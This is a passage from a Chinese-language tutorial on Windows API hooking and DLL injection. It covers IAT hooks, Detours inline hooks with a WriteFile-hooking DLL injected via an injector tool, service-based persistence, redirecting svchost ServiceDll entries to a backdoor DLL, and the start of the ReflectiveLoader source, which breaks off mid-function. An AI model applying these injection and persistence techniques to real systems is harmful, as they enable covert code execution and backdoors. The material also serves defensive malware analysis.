CAPIHOOK::LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExA(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //这个函数中忆检测hModule 了 return hModule; } HMODULE WINAPI CAPIHOOK::LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags) { HMODULE hModule = LoadLibraryExW(lpFileName, hFile, dwFlags); HookNewlyLoadedModule(hModule, dwFlags); //这个函数中忆检测hModule 了 return hModule; }
.h
#pragma once #include <Windows.h> class CAPIHOOK { public: CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod = TRUE); ~CAPIHOOK(void); private: static void ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller); static void ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod); //防止程序运行期间动态加载模块, 当一个新DLL被加载时调用 static void HookNewlyLoadedModule(HMODULE hModule, DWORD dwFlags); //跟踪当前进程加载新的DLL static HMODULE WINAPI LoadLibraryA(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryW(LPCTSTR lpFileName); static HMODULE WINAPI LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); static HMODULE WINAPI LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile, DWORD dwFlags); //防止程序运行期间动态调用API函数 对于请求已HOOK的API函数,返回用户自定义的函数地址 static FARPROC WINAPI GetProcess(HMODULE hModule, PCSTR pszProcName); private: //定义成静态的,会自动调用,从而实现自动HOOK static CAPIHOOK sm_LoadLibraryA; static CAPIHOOK sm_LoadLibraryW; static CAPIHOOK sm_LoadLibraryExA; static CAPIHOOK sm_LoadLibraryExW; static CAPIHOOK sm_GetProcAddress; private: static CAPIHOOK* sm_pHeader; //钩子链表 CAPIHOOK* m_pNext; //要钩子的函数 PROC m_pfnOrig; PROC m_pfnHook; //要钩子的函数所在的dll LPSTR m_pszModName; //要钩子的函数名称 LPSTR m_pszFuncName; };
10. Detours - Inline Hook
Detours是一个在x86平台上截获任意Win32函数调用的工具库。中断代码可以在运行时动态加载。Detours使用一个无条件转移指令来替换目 标函数的最初几条指令,将控制流转移到一个用户提供的截获函数。而目标函数中的一些指令被保存在一个被称为“trampoline” (译注:英文意为蹦 床,杂技)的函数中,在这里我觉得翻译成目标函数的部分克隆/拷贝比较贴切。这些指令包括目标函数中被替换的代码以及一个重新跳转到目标函数的无条件分 支。而截获函数可以替换目标函数,或者通过执行“trampoline”函数的时候将目标函数作为子程序来调用的办法来扩展功能。
Detours是执行时被插入的。内存中的目标函数的代码不是在硬盘上被修改的,因而可以在一个很好的粒度上使得截获二进制函数的执行变得更容易。例如, 一个应用程序执行时加载的DLL中的函数过程可以被插入一段截获代码(detoured),与此同时,这个DLL还可以被其他应用程序按正常情况执行(译 注:也就是按照不被截获的方式执行,因为DLL二进制文件没有被修改,所以发生截获时不会影响其他进程空间加载这个DLL)。不同于DLL的重新链接或者 静态重定向,Detours库中使用的这种中断技术确保不会影响到应用程序中的方法或者系统代码对目标函数的定位。
如果其他人为了调试或者在内部使用其他系统检测手段而试图修改二进制代码,Detours将是一个可以普遍使用的开发包。据我所知,Detours是第一 个可以在任意平台上将未修改的目标代码作为一个可以通过“trampoline”调用的子程序来保留的开发包。而以前的系统在逻辑上预先将截获代码放到目 标代码中,而不是将原始的目标代码做为一个普通的子程序来调用。我们独特的“trampoline”设计对于扩展现有的软件的二进制代码是至关重要的。
出于使用基本的函数截获功能的目的,Detours同样提供了编辑任何DLL导入表的功能,达到向存在的二进制代码中添加任意数据节表的目的,向一个新进 程或者一个已经运行着的进程中注入一个DLL。一旦向一个进程注入了DLL,这个动态库就可以截获任何Win32函数,不论它是在应用程序中或者在系统库中
0x1: 基本原理
1. WIN32进程的内存管理
1. WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间 2. 进程要执行的指令也放在虚存空间中 3. 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序 4. 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码(此时的代码只是写入了,还未触发执行)
2. 拦截WIN32 API的原理
Detours定义了三个概念
1. Target函数:要拦截的函数,通常为Windows的API 2. Trampoline函数:Target函数的部分复制品。因为Detours将会改写Target函数,所以先把Target函数的前5个字节复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。 3. Detour 函数:用来替代Target函数的函数。 Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数 的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+ 5共10个字节作为Trampoline函数
Detour函数的调用过程
1. 目标函数: 目标函数的函数体(二进制)至少有5个字节以上。按照微软的说明文档Trampoline函数的函数体是拷贝前5个字节加一个无条件跳转指令的话(如果没 有特殊处理不可分割指令的话),那么前5个字节必须是完整指令,也就是不能第5个字节和第6个字节是一条不可分割的指令,否则会造成Trampoline 函数执行错误,一条完整的指令被硬性分割开来,造成程序崩溃。对于第5字节和第6个字节是不可分割指令需要调整拷贝到杂技函数(Trampoline)的 字节个数,这个值可以查看目标函数的汇编代码得到。此函数是目标函数的修改版本,不能在Detour函数中直接调用,需要通过对Trampoline函数 的调用来达到间接调用 2. Trampoline函数: 此函数默认分配了32个字节,函数的内容就是拷贝的目标函数的前5个字节,加上一个JMP Address_of_ Target _ Function+5指令,共10个字节。 此函数仅供您的Detour函数调用,执行完前5个字节的指令后再绝对跳转到目标函数的第6个字节继续执行原功能函数 3. Detour函数: 此函数是用户需要的截获API的一个模拟版本,调用方式,参数个数必须和目标函数相一致。如目标函数是__stdcall,则Detour函数声明也必须 是__stdcall,参数个数和类型也必须相同,否则会造成程序崩溃。此函数在程序调用目标函数的第一条指令的时候就会被调用(无条件跳转过来的)。 如果在此函数中想继续调用目标函数,必须调用Trampoline函数(Trampoline函数在执行完目标函数的前5个字节的指令后会无条件跳转到目标 函数的5个字节后继续执行),不能再直接调用目标函数,否则将进入无穷递归(目标函数跳转到Detour函数,Detour函数又跳转到目标函数的递归, 因为目标函数在内存中的前5个字节已经被修改成绝对跳转)(无条件跳转)。通过对Trampoline函数的调用后可以获取目标函数的执行结果,此特性对分析目标函数非常有用,而且可以将目标函数的输出结果进行修改后再传回给应用程序 基于Detour封装的Hook框架,省去了我们处理call old function的麻烦
Detour提供了向运行中的应用程序注入Detour函数和在二进制文件基础上注入Detour函数两种方式。我们接下来主要讨论第二种工作方式。通过 Detours提供的开发包可以在二进制EXE文件中添加一个名称为Detour的节表,如下图所示,主要目的是实现PE加载器加载应用程序的时候会自 动加载您编写的Detours DLL,在Detours Dll中的DLLMain中完成对目标函数的Detour(最终目的还是Inline Hook)
Detour提供了向运行中的应用程序注入Detour函数和在二进制文件基础上注入Detour函数两种方式。我们接下来主要讨论第二种工作方式。通过 Detours提供的开发包可以在二进制EXE文件中添加一个名称为Detour的节表,如下图所示,主要目的是实现PE加载器加载应用程序的时候会自 动加载您编写的Detours DLL,在Detours Dll中的DLLMain中完成对目标函数的Detour(最终目的还是Inline Hook)
0x2: Detours提供的截获API的相关接口
Detours的提供的API 接口可以作为一个共享DLL给外部程序调用,也可以作为一个静态Lib链接到您的程序内部。
Trampoline函数可以动态或者静态的创建,如果目标函数本身是一个链接符号,使用静态的trampoline函数将非常简单。如果目标函数不能在链接时可见,那么可以使用动态trampoline函数
0x3: 基于Detours Hook Xenos.exe相关API
detours下载地址
http://research.microsoft.com/en-us/downloads/d36340fb-4d3c-4ddd-bf5b-1db25d03713d/default.aspx http://pan.baidu.com/s/1eQEijtS
编译Detours工程
打开VS20xx命令行工具,进入src目录,x86命令行和x64命令行编译出来的分别是32bit和64bit的detours lib
使用nmake(linux下是make)命令编译生成静态库
在lib.x86目录下的.lib文件是win32平台下的静态库文件
在include目录下的是Detours工程的头文件
接下来要确定我们要拦截目标进程中的哪个函数api,我们这里用IDA Pro查看一下Xenos.exe
我们选择WriteFile这个API作为劫持目标
用于劫持的dll代码,注意:需要保存为.c文件,或者加上extern C,因为detours是使用C语言实现的,表示代码使用C的规则进行编译
// notepad_api_hijack_dll.c : 定义 DLL 应用程序的导出函数。 // #include "stdafx.h" #include <stdio.h> #include <stdlib.h> #include <Windows.h> // 引入detours头文件 #include "detours.h" //1.引入detours.lib静态库 #pragma comment(lib,"detours64.lib") //2.定义函数指针 static BOOL(WINAPI *oldWriteFile)( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) = WriteFile; //3.定义新的函数替代目标函数,需要与目标函数的原型相同 BOOL WINAPI newWriteFile( _In_ HANDLE hFile, _In_ LPCVOID lpBuffer, _In_ DWORD nNumberOfBytesToWrite, _Out_opt_ LPDWORD lpNumberOfBytesWritten, _Inout_opt_ LPOVERLAPPED lpOverlapped ) { int result = 0; result = MessageBoxA(0, "是否允许写该文件", "提示", 1); //printf("result = %d", result); if (result == 1) // 允许调用 { oldWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); //调用旧的函数 } else { // 不允许调用 } return 0; } // 4.拦截 //开始拦截 _declspec(dllexport) void Hook() // _declspec(dllexport)表示外部可调用,需要加上该关键字其它进程才能成功调用该函数 { DetourRestoreAfterWith();//恢复原来状态(重置) DetourTransactionBegin();//拦截开始 DetourUpdateThread(GetCurrentThread());//刷新当前线程(刷新生效) //这里可以连续多次调用DetourAttach,表明HOOK多个函数 DetourAttach((void **)&oldWriteFile, newWriteFile);//实现函数拦截 DetourTransactionCommit();//拦截生效 } //取消拦截 _declspec(dllexport) void UnHook() { DetourTransactionBegin();//拦截开始 DetourUpdateThread(GetCurrentThread());//刷新当前线程 //这里可以连续多次调用DetourDetach,表明撤销多个函数HOOK DetourDetach((void **)&oldWriteFile, newWriteFile); //撤销拦截函数 DetourTransactionCommit();//拦截生效 } // 劫持别人的程序:通过DLL注入,并调用Hook函数实现劫持。 // 劫持系统:通过DLL注入系统程序(如winlogon.exe)实现劫持系统函数。 _declspec(dllexport) void main() { Hook(); // 拦截 }
编译得到dll文件,打开dll注入工具,点击add,选择"notepad_api_hijack_dll.dll"
https://coding.net/u/linchaolong/p/DllInjector/git/raw/master/Xenos.exe
点击Advanced,在Init routine中填写动态库(dll)中的函数的名称,我们这里是main,点击注入后,可以在进程加载dll列表中看到已经注入成功
为了触发我们的Hook动作,我们随便保存一个文件,可以看到弹框了
这里需要注意,32bit的dll不能注入64bit的进程,如果我们需要对64bit的进程进行Hook注入,需要编译出一份64bit的detours dll
同时需要注意,MS-Detours只能拦截WIN32 API,对原生C++的API无法拦截
0x4: Detours原理
Detours可以完成对目标进程运行时的api的核心原理就是inline hook
JuMP <CustomHookFunction> RETurn (back to program execution) 1. First he copies his shellcode(hook function) to JMP array(一段新开辟出来的内存空间用于存放hook function shellcode): memcpy(JMP, tempJMP, SIZE); 2. Then he copies the original assembly code bytes from the original address to his temporary storage "oldBytes" so that he can copy it back after his custom function is executed: memcpy(oldBytes, pOrigMBAddress, SIZE); 将原始被Hook函数入口点附近的汇编代码拷贝到一个"跳转缓冲区"中,这段跳转缓冲区是Detours维护的,它负责在被hook函数和hook shellcode之间进行转发 3. Then he copies the address size he previously calculated to JMP array right after the jmp command : memcpy(&JMP[1], &JMPSize, 4); 将shellcode的jmp跳转指令拷贝到"跳转缓冲区"最后 4. Finally his JMP[] array contains the shellcode required to call his function, e.g. hook function完成逻辑后,需要跳转回"跳转缓冲区",在这里要继续执行原始被hook函数的一小段汇编,以完成inline hook memcpy(pOrigMBAddress, JMP, SIZE);
在进行inline hook的时候,要特别注意多核CPU在hook replace过程中的影响,因为多个线程有可能"同时"调用同一个函数地址,为了解决这个问题,一个好的做法是在inline hook的过程中,把当前进程的所有线程都挂起。通过CreateToolhelp32Snapshot和SuspendThread的配合,在完成inline hook后再恢复线程
Relevant Link:
http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html http://blog.csdn.net/zhoujiaxq/article/details/18656951 https://www.microsoft.com/en-us/research/project/detours/
http://blog.csdn.net/linchaolong/article/details/4398755
https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours
11. 以服务形式执行DLL中指定函数/或直接指定EXE作为启动程序
一般来说,黑客利用漏洞植入Dll入侵时,会先通过rundll32.exe执行dllmain,dllmain里会接收并判断传入的参数(例如-k,-i等),根据不同的参数执行例如service install,主恶意逻辑执行等
值得注意的是,恶意代码执行附加代码的另一种方式是将它作为服务安装,服务同时也提供了另一种在系统上维持持久化驻留的方式。windows操作系统支持多种服务类型,它们以独特的方式执行
SC_HANDLE WINAPI CreateService( _In_ SC_HANDLE hSCManager, _In_ LPCTSTR lpServiceName, _In_opt_ LPCTSTR lpDisplayName, _In_ DWORD dwDesiredAccess, _In_ DWORD dwServiceType, _In_ DWORD dwStartType, _In_ DWORD dwErrorControl, _In_opt_ LPCTSTR lpBinaryPathName, _In_opt_ LPCTSTR lpLoadOrderGroup, _Out_opt_ LPDWORD lpdwTagId, _In_opt_ LPCTSTR lpDependencies, _In_opt_ LPCTSTR lpServiceStartName, _In_opt_ LPCTSTR lpPassword ); dwServiceType 1. SERVICE_ADAPTER(0x00000004) 2. SERVICE_FILE_SYSTEM_DRIVER(0x00000002): File system driver service. 3. SERVICE_KERNEL_DRIVER(0x00000001): Driver service. 加载代码到内核中执行 4. SERVICE_RECOGNIZER_DRIVER(0x00000008): Reserved. 5. SERVICE_WIN32_OWN_PROCESS(0x00000010): Service that runs in its own process. 恶意代码有时也会使用,在一个exe中保存代码。并且作为一个独立的进程运行 6. SERVICE_WIN32_SHARE_PROCESS(0x00000020): Service that shares a process with one or more other services. 恶意代码最常使用的就是这个类型,这种类型将服务对应的代码保存在一个DLL中,并且在一个共享的进程中组合多个不同的服务 7. SERVICE_USER_OWN_PROCESS(0x00000050): The service runs in its own process under the logged-on user account. 8. SERVICE_USER_SHARE_PROCESS(0x00000060) dwStartType 1. SERVICE_AUTO_START(0x00000002): A service started automatically by the service control manager during system startup. 2. SERVICE_BOOT_START(0x00000000): A device driver started by the system loader. This value is valid only for driver services. 3. SERVICE_DEMAND_START(0x00000003): A service started by the service control manager when a process calls the StartService function. 4. SERVICE_DISABLED(0x00000004): A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED. 5. SERVICE_SYSTEM_START(0x00000001)
关于本地系统上的服务信息被保存在注册表中
1. services.msc,然后打开"remote procedure call" 2. C:\Windows\system32\svchost.exe -k rpcss: 这说明rpcss服务是依靠svchost调用"rpcss"参数来实现的,而参数的内容则是存放在系统注册表中的 3. regedit.exe,找到[HKEY_Local_Machine\System\CurrentControlSet\Services\rpcss]项。svchost进程通过读取"rpcss"服务注册表信息,就能启动该服务了 1) 找到类型为"reg_expand_sz"的键"imagepath",其键值为"%SystemRoot%\system32\svchost.exe -k rpcss" 2) 另外在"parameters"子项中有个名为"servicedll"的键,其值为"%SystemRoot%\system32\rpcss.dll",其中"rpcss.dll"就是rpcss服务要使用的动态链接库文件
0x1: SERVICE_WIN32_OWN_PROCESS: 以独立进程形式运行服务
At a minimum a service requires the following items:
1. A Main Entry point (like any application)
2. A Service Entry point
3. A Service Control Handler
SampleServiceMain.cpp
#include <Windows.h>
#include <tchar.h>
// need a SERVICE_STATUS structure that will be used to report the status of the service to the Windows Service Control Manager (SCM).
SERVICE_STATUS g_ServiceStatus = {0};
// need a SERVICE_STATUS_HANDLE that is used to reference our service instance once it is registered with the SCM. SERVICE_STATUS_HANDLE g_StatusHandle = NULL; HANDLE g_ServiceStopEvent = INVALID_HANDLE_VALUE; VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv); VOID WINAPI ServiceCtrlHandler (DWORD); DWORD WINAPI ServiceWorkerThread (LPVOID lpParam); #define SERVICE_NAME _T("My Sample Service") int _tmain (int argc, TCHAR *argv[]) { OutputDebugString(_T("My Sample Service: Main: Entry")); SERVICE_TABLE_ENTRY ServiceTable[] = { {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; // call StartServiceCtrlDispatcher so the SCM can call your Service Entry point (ServiceMain above). if (StartServiceCtrlDispatcher (ServiceTable) == FALSE) { OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error")); return GetLastError (); } OutputDebugString(_T("My Sample Service: Main: Exit")); return 0; } VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv) { DWORD Status = E_FAIL; OutputDebugString(_T("My Sample Service: ServiceMain: Entry")); //Register the service control handler which will handle Service Stop, Pause, Continue, Shutdown, etc control commands. These are registered via the dwControlsAccepted field of the SERVICE_STATUS structure as a bit mask. g_StatusHandle = RegisterServiceCtrlHandler (SERVICE_NAME, ServiceCtrlHandler); if (g_StatusHandle == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error")); goto EXIT; } // Tell the service controller we are starting // Set Service Status to SERVICE_PENDING then to SERVICE_RUNNING. Set status to SERVICE_STOPPED on any errors and on exit. Always set SERVICE_STATUS.dwControlsAccepted to 0 when setting status to SERVICE_STOPPED or SERVICE_PENDING. ZeroMemory (&g_ServiceStatus, sizeof (g_ServiceStatus)); g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } /* * Perform tasks neccesary to start the service here */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations")); // Create stop event to wait on later. g_ServiceStopEvent = CreateEvent (NULL, TRUE, FALSE, NULL); if (g_ServiceStopEvent == NULL) { OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error")); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = GetLastError(); g_ServiceStatus.dwCheckPoint = 1; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } goto EXIT; } // Tell the service controller we are started g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } // Start the thread that will perform the main task of the service // Perform start up tasks. Like creating threads/events/mutex/IPCs/etc. 这个dll服务是以线程的形式运行的 HANDLE hThread = CreateThread (NULL, 0, ServiceWorkerThread, NULL, 0, NULL); OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete")); // Wait until our worker thread exits effectively signaling that the service needs to stop WaitForSingleObject (hThread, INFINITE); OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled")); /* * Perform any cleanup tasks */ OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations")); CloseHandle (g_ServiceStopEvent); g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 3; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error")); } EXIT: OutputDebugString(_T("My Sample Service: ServiceMain: Exit")); return; } /* The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler to handle control requests from the SCM. 我们在GUI界面上点击启动、停止的action处理需要ServiceCtrlHandler函数回调来处理 */ VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry")); switch (CtrlCode) { /* here have only implemented and supported the SERVICE_CONTROL_STOP request. we can handle other requests such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others supported by the Handler or HandlerEx function that can be registered with the RegisterServiceCtrlHandler(Ex) function. */ case SERVICE_CONTROL_STOP : OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request")); if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) break; /* * Perform tasks neccesary to stop the service here */ g_ServiceStatus.dwControlsAccepted = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCheckPoint = 4; if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) { OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error")); } // This will signal the worker thread to start shutting down SetEvent (g_ServiceStopEvent); break; default: break; } OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit")); } // This sample Service Worker Thread does nothing but sleep and check to see if the service has received a control to stop. // Once a stop control has been received the Service Control Handler sets the g_ServiceStopEvent event. The Service Worker Thread breaks and exits. This signals the Service Main routine to return and effectively stop the service. DWORD WINAPI ServiceWorkerThread (LPVOID lpParam) { OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry")); // Periodically check if the service has been requested to stop while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0) { /* * Perform main service function here */ // Simulate some work by sleeping Sleep(3000); } OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Exit")); return ERROR_SUCCESS; }
这里有几点要重点理解
1. 服务程序一般写成控制台应用程序,main函数为入口函数(如果是dll就是dllMain函数) 2. main函数的参数在CreateService函数中指定(例如有些恶意软件在植入时采取无参数形式,而在注册服务时加入了额外的参数,以此来区分入侵植入和服务自动启动而走不同的逻辑) 3. 当SCM启动一个服务程序时,SCM等待服务程序调用StartServiceCtrlDispatcher函数,如果服务进程没有及时调用该函数,则会导致启动服务失败,所以我们要注册成服务的exe或者dll里我么需要自己实现StartServiceCtrlDispatcher的调用逻辑 4. 在分析恶意代码的时候,我们会遇到这种情况,exe/dll的main逻辑里很简单,只有声明一个ServiceStartTable服务结构体,设置成员变量,然后就是调用StartServiceCtrlDispatcherA启动真正的逻辑函数
Installing the Service
sc create "My Sample Service" binPath=C:\Users\Administrator\Downloads\SampleService\SampleService\Release\SampleService.exe
注册表键值
Uninstalling the Service
sc delete "My Sample Service"
0x2: SERVICE_WIN32_SHARE_PROCESS: 以DLL形式在共享的svchost.exe中运行服务
svchost.exe是一个属于微软Windows操作系统的系统程序,微软官方对它的解释是:Svchost.exe 是从动态链接库 (DLL) 中运行的服务的通用主机进程名称。这个程序对系统的正常运行是非常重要,而且是不能被结束的
进程文件: svchost or svchost.exe
进程名称: Generic Host Process for Win32 Services
进程类别: 系统进程
位置: C:\windows\system32\svchost.exe
英文描述:svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated
svchost.exe是一类通用的进程名称。它是和运行动态链接库(DLLs)的Windows系统服务相关的。在机器启动的时候,svchost.exe检查注册表中的服务,运行并载入它们。经常会有多个svchost.exe同时运行的情况,每一个都表示该计算机上运行的一类基本服
SERVICE_WIN32_SHARE_PROCESS和独立进程方式本质上没有区别,唯一区别在于imagepath是一个dll路径,同时它也支持传入对应的参数,但是我们在进程列表里看不到这个dll,而只能看到svchost.exe进程
Relevant Link:
http://baike.baidu.com/item/svchost.exe/552746
https://msdn.microsoft.com/en-us/library/ms683500(v=vs.85).aspx
https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus https://msdn.microsoft.com/en-us/library/windows/desktop/ms685138(v=vs.85).aspx https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus http://www.devx.com/cplus/Article/9857/0/page/2
12. 劫持现有Service的启动DLL
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost]中存放着svchost启动的组和组内的各个服务,如果要使用svchost启动某个服务,则该服务名就会出现在该目录下
1. 添加一个新的组,在组里添加服务名 2. 在现有组里添加服务名 3. 直接使用现有组里的一个服务名,但是本机没有安装的服务: PortLess BackDoor使用的该方法 4. 修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门
Relevant Link:
http://it.rising.com.cn/safe/protect/2010-01-07/6174_2.html
13. Reflective DLL injection In Memory - 从内存中的dll binary加载/注入dll技术
内存dll注入技术是一种从内存buffer中(msf常使用该技术从远程C&C中下载dll payload)注入dll到本机进程的技术,为了躲避API监控,它常常自带PE Loader代码,即在注入DLL中先调用一个ReflectiveLoader()导出函数,该函数的作用是"模拟PE Loader",即模拟windows dll loader的过程把自身加载链接到目标进程地址空间中,并调用真正的DllMain入口函数
大体上说,这个技术的攻击流程如下
1. 获得CPU执行权限 1) 可能通过CreateRemoteThread() 2) 或者微型注入的shellcode
3) apc dll注入 2. 调用流程到了ReflectiveLoader,如果是dll注入,则该函数必须是dll的一个导出函数 3. 注入的dll或者shellcode可能在目标进程的任意内存位置,ReflectiveLoader做的第一件事是获取当前所在的镜像基地址 1) _ReturnAddress 2) call-pop被用来自定位 4. 通过PEB方式动态获取核心动态链接库和API函数地址 1) KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) 2) NTDLLDLL_HASH(pNtFlushInstructionCache) 5. ReflectiveLoader重新申请了一块用于存放DLL的内存地址 6. 将DLL的header和节逐个拷贝到申请的内存地址中 7. 处理导入函数,加载依赖库(使用LoadLibrary),填充IAT 8. 重定位,修复偏移 9. 获取该DLL的真实入口地址,需要注意的是,DLL的入口地址往往都不是DllMain而是修改过的(MSF常用该技术躲避sandbox检测) 9. 通过函数指针的方式调用DLL的DllMain函数,使用DLL_PROCESS_DETACH为参数调用DLL入口点,把控制流转到真实的入口地址Entry Point
0x1: ReflectiveLoader.c - 模拟pe loader
//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #include "ReflectiveLoader.h" //===============================================================================================// // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value HINSTANCE hAppInstance = NULL; //===============================================================================================// #pragma intrinsic( _ReturnAddress ) // This function can not be inlined by the compiler or we will not get the address we expect. Ideally // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics // available (and no inline asm available under x64). __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } //===============================================================================================// // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, // otherwise the DllMain at the end of this file will be used. // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, // otherwise it is assumed you are calling the ReflectiveLoader via a stub. // This is our position independent reflective DLL loader/injector #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) #else DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) #endif { // the functions we need LOADLIBRARYA pLoadLibraryA = NULL; GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; USHORT usCounter; // the initial location of this image in memory 